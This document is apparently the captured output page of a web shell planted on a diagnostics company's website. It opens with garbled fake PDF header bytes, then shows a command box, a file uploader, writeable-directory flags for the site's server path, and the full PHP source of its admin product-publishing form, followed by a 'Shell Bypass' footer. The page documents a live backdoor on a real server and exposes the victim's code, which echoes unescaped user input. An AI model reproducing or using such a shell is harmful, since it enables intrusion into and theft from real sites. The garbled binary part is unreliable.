%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/application/modules/admin/views/ecommerce/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/application/modules/admin/views/ecommerce/publish.php
<script src="<?= base_url('assets/ckeditor/ckeditor.js') ?>"></script>
<!--<img src="<//?= base_url('assets/imgs/shop-cart-add-icon.png') ?>" class="header-img" style="margin-top:-3px;">-->
<h1><i class="fa fa-edit titleIconsize"></i> <?php if ($this->uri->segment(3) !== null) { ?> Edit <?php } else { ?> Add <?php } ?> product</h1>
<hr>
<?php
$timeNow = time();
	if ($this->session->flashdata('result_error')) {
    ?>
    <div class="alert alert-danger"><?= implode('<br>', $this->session->flashdata('result_error')) ?></div>
    <hr> 
        <?php
    }
    $langs = $languages->result();
    ?>
<form method="POST" action="" enctype="multipart/form-data">
    <input type="hidden" value="<?= isset($_POST['folder']) ? $_POST['folder'] : $timeNow ?>" name="folder">
    
    <?php
    $i = 0;
    foreach ($languages->result() as $language) {
        ?>
        <div class="locale-container locale-container-<?= $language->abbr ?>" <?= $language->abbr == MY_DEFAULT_LANGUAGE_ABBR ? 'style="display:block;"' : '' ?>>
            <input type="hidden" name="translations[]" value="<?= $language->abbr ?>">
            <div class="form-group"> 
                <label>Test Code<span style="color:red;">*</span></label>
                <input type="text" name="test_code" value="<?= $trans_load != null && isset($_POST['test_code']) ? $_POST['test_code'] : $_POST['test_code'] ?>" class="form-control">
            </div>
			
			<div class="form-group"> 
                <label>HIS Code(For External Use)</label>
                <input type="text" name="his_code" value="<?= $trans_load != null && isset($_POST['his_code']) ? $_POST['his_code'] : $_POST['his_code'] ?>" class="form-control">
            </div>
			
            <div class="form-group"> 
                <label>Title<span style="color:red;">*</span></label>
                <input type="text" name="title" value="<?= $trans_load != null && isset($trans_load[$language->abbr]['title']) ? $trans_load[$language->abbr]['title'] : $_POST['title'] ?>" class="form-control">
            </div>

			 <!--<div class="form-group"> 
                <label>Tag Line</label>
                <input type="text" name="tag_line[]" value="<?= $trans_load != null && isset($trans_load[$language->abbr]['tag_line']) ? $trans_load[$language->abbr]['tag_line'] : $_POST['tag_line'] ?>" class="form-control">
            </div>-->
			
            <!--<div class="form-group">
                <a href="javascript:void(0);" class="btn btn-default showSliderDescrption" data-descr="<?= $i ?>">Show Slider Description <span class="glyphicon glyphicon-circle-arrow-down"></span></a>
            </div>
			
			
            <div class="theSliderDescrption" id="theSliderDescrption-<?= $i ?>" <?= isset($_POST['in_slider']) && $_POST['in_slider'] == 1 ? 'style="display:block;"' : '' ?>>
                <div class="form-group">
                    <label for="basic_description<?= $i ?>">Slider Description </label>
                    <textarea name="basic_description[]" id="basic_description<?= $i ?>" rows="50" class="form-control"><?= $trans_load != null && isset($trans_load[$language->abbr]['basic_description']) ? $trans_load[$language->abbr]['basic_description'] : $_POST['basic_description'] ?></textarea>
                    <script>
                        CKEDITOR.replace('basic_description<?= $i ?>');
                        CKEDITOR.config.entities = false;
                    </script>
                </div>
            </div>-->
            <div class="form-group">
                <label for="description<?= $i ?>">Description </label>
                <textarea name="description" id="description<?= $i ?>" rows="50" class="form-control"><?= $trans_load != null && isset($trans_load[$language->abbr]['description']) ? $trans_load[$language->abbr]['description'] : $_POST['description'] ?></textarea>
                <script>
                    CKEDITOR.replace('description<?= $i ?>');
                    CKEDITOR.config.entities = false;
                </script>
            </div>
			<div class="form-group for-shop">
                <label>Recommended for<span style="color:red;">*</span> </label>
                <input type="text" name="recommended_for" placeholder="Recommended for" value="<?= $trans_load != null && isset($trans_load[$language->abbr]['recommended_for']) ? $trans_load[$language->abbr]['recommended_for'] : $_POST['recommended_for'] ?>" class="form-control">
            </div>
			<!--<div class="form-group for-shop">
                <label>Recommended for(Gender)</label>
				
				<select class="selectpicker" name="gender">
				<option value="Both" <?= isset($_POST['gender']) && $_POST['gender'] == 'Both' ? 'selected' : '' ?>> Both </option>
				<option value="Male" <?= isset($_POST['gender']) && $_POST['gender'] == 'Male' ? 'selected' : '' ?>>Male</option>
				<option value="Female" <?= isset($_POST['gender']) && $_POST['gender'] == 'Female' ? 'selected' : '' ?>>Female</option>
				</select>
		
            </div>-->
			<div class="form-group for-shop">
                <label>Reporting Time<span style="color:red;">*</span></label>
                <input type="text" name="reporting_time" placeholder="Reporting Time" value="<?= $trans_load != null && isset($trans_load[$language->abbr]['reporting_time']) ? $trans_load[$language->abbr]['reporting_time'] : $_POST['reporting_time'] ?>" class="form-control">
            </div>
			
			<div class="form-group for-shop">
                <label>Fasting Time<span style="color:red;">*</span></label>
                <input type="text" name="fasting_time" placeholder="Fasting Time" value="<?= $trans_load != null && isset($trans_load[$language->abbr]['fasting_time']) ? $trans_load[$language->abbr]['fasting_time'] : $_POST['fasting_time']?>" class="form-control">
            </div>
			
            <div class="form-group for-shop">
                <label>Old Price<span style="color:red;">*</span></label>
                <input type="text" name="old_price" placeholder="without currency at the end" value="<?= $trans_load != null && isset($trans_load[$language->abbr]['old_price']) ? $trans_load[$language->abbr]['old_price'] : $_POST['old_price'] ?>" class="form-control">
            </div>
			
            <div class="form-group for-shop">
                <label>Offer Price<span style="color:red;">*</span></label>
                <input type="text" name="price" placeholder="without currency at the end" value="<?= $trans_load != null && isset($trans_load[$language->abbr]['price']) ? $trans_load[$language->abbr]['price'] : $_POST['price'] ?>" class="form-control">
            </div>

        </div>
        <?php
        $i++;
    }
    ?>
    <div class="form-group bordered-group">
        <?php
        if (isset($_POST['image']) && $_POST['image'] != null) {
            $image = 'attachments/shop_images/' . $_POST['image'];
            if (!file_exists($image)) {
                $image = 'attachments/no-image.png';
            }
            ?>
            <p>Current image:</p>
            <div>
                <img src="<?= base_url($image) ?>" class="img-responsive img-thumbnail" style="max-width:100px; margin-bottom: 5px;">
            </div>
            <input type="hidden" name="old_image" value="<?= $_POST['image'] ?>">
            <?php if (isset($_GET['to_lang'])) { ?>
                <input type="hidden" name="image" value="<?= $_POST['image'] ?>">
                <?php
            }
        }
        ?>
        <label for="userfile">Cover Image</label>
        <input type="file" id="userfile" name="userfile">
    </div>
    <div class="form-group bordered-group">
        <div class="others-images-container">
            <?= $otherImgs ?>
        </div>
        <a href="javascript:void(0);" data-toggle="modal" data-target="#modalMoreImages" class="btn btn-default">Upload more images</a>
    </div>
    <div class="form-group for-shop">
        <label>Product Category<span style="color:red;">*</span></label>
        <select class="form-control" name="shop_categorie" id="choose_cat">
		<option  value=" ">Select Category</option>
            <?php foreach ($shop_categories as $key_cat => $shop_categorie) { ?>
                <option <?= isset($_POST['shop_categorie']) && $_POST['shop_categorie'] == $key_cat ? 'selected=""' : '' ?> value="<?= $key_cat ?>">
                    <?php
                    foreach ($shop_categorie['info'] as $nameAbbr) {
                        if ($nameAbbr['abbr'] == $this->config->item('language_abbr')) {
                            echo $nameAbbr['name'];
                        }
                    }
                    ?>
                </option>
            <?php } ?>
        </select>
    </div>
	<?php 
	?>
	<div class="form-group for-shop" id="risk_area">
        <label>Risk Area</label>
		<?php 
		$risk_area_array = $POST['risk_area_id'] = explode(",",$_POST['risk_area_id']); 
		?>
        <select class="form-control show-tick show-menu-arrow" name="risk_categorie[]" multiple>
		<option  value=" ">Select Related Risk Area</option>
            <?php foreach ($risk_categories as $risk_cat) {?>
                <option value="<?= $risk_cat->id ?>" <?php if(in_array($risk_cat->id,$risk_area_array)) { echo ' selected="selected"'; } ?>>
                <?= $risk_cat->name ?>
                </option>
            <?php }?>
        </select>
    </div>
	<?= $trans_load[$language->abbr]['test_id'] ?>
	<div class="form-group for-shop" id="test_include" <?php if($_POST['shop_categorie']!=3){ echo 'style="display:none;';}?>">
    <label>Tests Included</label>
	<?php $test_id_array=explode(",",$_POST['test_id']); 
		$i=0;?>
	 <select name="related_test[]" class="selectpicker form-control show-tick show-menu-arrow" multiple>
	 <?php 
	 foreach($all_products as $key=>$val) { ?>
		<option <?php if(in_array($val->id,$test_id_array)) { echo ' selected="selected"'; } ?> value="<?php echo $val->id; ?>"><?php echo  $val->title.'('.$val->test_code.')'; ?></option>
	 <?php }?>
	 </select>
	</div>				
    <!--<div class="form-group for-shop">
        <label>Quantity</label>
        <input type="text" placeholder="number" name="quantity" value="<?= @$_POST['quantity'] ?>" class="form-control" id="quantity">
    </div>-->
	<div class="form-group for-shop" id="precautions">
                <label>Precautions</label>
                <input type="text" name="precautions"  placeholder="Write Precautions" value="<?= $trans_load != null && isset($trans_load[$language->abbr]['precautions']) ? $trans_load[$language->abbr]['precautions'] : $_POST['precautions'] ?>" class="form-control">
    </div>
			
	 <div class="form-group for-shop" id="pera">
        <label>Perameters</label>
        <textarea placeholder="Precautions" name="perameters" class="form-control" id="perameters"><?= $trans_load != null && isset($trans_load[$language->abbr]['parameters']) ? $trans_load[$language->abbr]['parameters'] : $_POST['parameters'] ?></textarea> 
		<script>
                    CKEDITOR.replace('perameters');
                    CKEDITOR.config.entities = false;
                </script>
	</div>
	 
	 <div class="form-group for-shop">
        <label>Search Strings</label>
        <textarea placeholder="Search Strings" name="search_string" class="form-control" id="search_strings"><?= $trans_load != null && isset($trans_load[$language->abbr]['search_string']) ? $trans_load[$language->abbr]['search_string'] : $_POST['search_string'] ?></textarea> 
	</div>
	 
	<div class="form-group for-shop">
                <label>Sample<span style="color:red;">*</span></label>
                <input type="text" name="sample"  placeholder="sample type" value="<?= $trans_load != null && isset($trans_load[$language->abbr]['sample_type']) ? $trans_load[$language->abbr]['sample_type'] : $_POST['sample_type'] ?>" class="form-control">
    </div>
	<div class="form-group for-shop">
                <label>Service Type<span style="color:red;">*</span></label>
                <input type="text" name="service_type"  placeholder="Service Type" value="<?= $trans_load != null && isset($_POST['service_type']) ? $_POST['service_type'] : $_POST['service_type'] ?>" class="form-control">
    </div>
	<div class="form-group for-shop">
                <label>Sample Collection<span style="color:red;">*</span></label>
                <input type="text" name="sample_collection"  placeholder="sample collection" value="<?= $trans_load != null && isset($trans_load[$language->abbr]['sample_collection']) ? $trans_load[$language->abbr]['sample_collection'] : $_POST['sample_collection'] ?>" class="form-control">
    </div>
	
	<div class="form-group for-shop">
                <label>Includes</label>
                <input type="text" name="includes"  placeholder="Includes" value="<?= $trans_load != null && isset($trans_load[$language->abbr]['includes']) ? $trans_load[$language->abbr]['includes'] : $_POST['includes'] ?>" class="form-control">
    </div>
	
	
    <?php if ($showBrands == 1) { ?>
        <div class="form-group for-shop">
            <label>Brand</label>
            <select class="selectpicker" name="brand_id">
                <?php foreach ($brands as $brand) { ?>
                    <option <?= isset($_POST['brand_id']) && $_POST['brand_id'] == $brand['id'] ? 'selected' : '' ?> value="<?= $brand['id'] ?>"><?= $brand['name'] ?></option>
                <?php } ?>
            </select>
        </div>
    <?php } if ($virtualProducts == 1) { ?>
        <div class="form-group for-shop">
            <label>Virtual Products <a href="javascript:void(0);" data-toggle="modal" data-target="#virtualProductsHelp"><i class="fa fa-question-circle" aria-hidden="true"></i></a></label>
            <textarea class="form-control" name="virtual_products"><?= @$_POST['virtual_products'] ?></textarea>
        </div>
    <?php } ?>
    <div class="form-group for-shop">
        <label>In Slider</label>
        <select class="selectpicker" name="in_slider">
            <option value="1" <?= isset($_POST['in_slider']) && $_POST['in_slider'] == 1 ? 'selected' : '' ?>>Yes</option>
            <option value="0" <?= isset($_POST['in_slider']) && $_POST['in_slider'] == 0 || !isset($_POST['in_slider']) ? 'selected' : '' ?>>No</option>
        </select>
    </div>
    <div class="form-group for-shop">
        <label>Position</label>
        <input type="text" placeholder="Position number" name="position" value="<?= @$_POST['position'] ?>" class="form-control">
    </div>
    <button type="submit" name="submit" class="btn btn-lg btn-default btn-publish" id="publish_product">Publish</button>
    <?php if ($this->uri->segment(3) !== null) { ?>
        <a href="<?= base_url('admin/products') ?>" class="btn btn-lg btn-default">Cancel</a>
    <?php } ?>
</form>
<!-- Modal Upload More Images -->
<div class="modal fade" id="modalMoreImages" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
    <div class="modal-dialog" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
                <h4 class="modal-title" id="myModalLabel">Upload more images</h4>
            </div>
            <div class="modal-body">
                <form id="uploadImagesForm">
                    <input type="hidden" value="<?= isset($_POST['folder']) ? $_POST['folder'] : $timeNow ?>" name="folder">
                    <label for="others">Select images</label>
                    <input type="file" name="others[]" id="others" multiple />
                </form>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-default finish-upload">
                    <span class="finish-text">Finish</span>
                    <img src="<?= base_url('assets/imgs/load.gif') ?>" class="loadUploadOthers" alt="">
                </button>
            </div>
        </div>
    </div>
</div>
<!-- virtualProductsHelp -->
<div class="modal fade" id="virtualProductsHelp" tabindex="-1" role="dialog" aria-labelledby="virtualProductsHelp">
    <div class="modal-dialog" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
                <h4 class="modal-title" id="myModalLabel">What are virtual products?</h4>
            </div>
            <div class="modal-body">
                Sometimes we want to sell products that are for electronic use such as books. In the box below, you can enter links to products that can be downloaded after you confirm the order as "Processed" through the "Orders" tab, an email will be sent to the customer entered with the entire text entered in the "virtual products" field.
                We have left only the possibility to add links in this field because sometimes it is necessary that the electronic stuff you provide for downloading will be uploaded to other servers. If you want, you can add your files to "file manager" and take the links to them to add to the "virtual products"
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
            </div>
        </div>
    </div>
</div>

Kontol Shell Bypass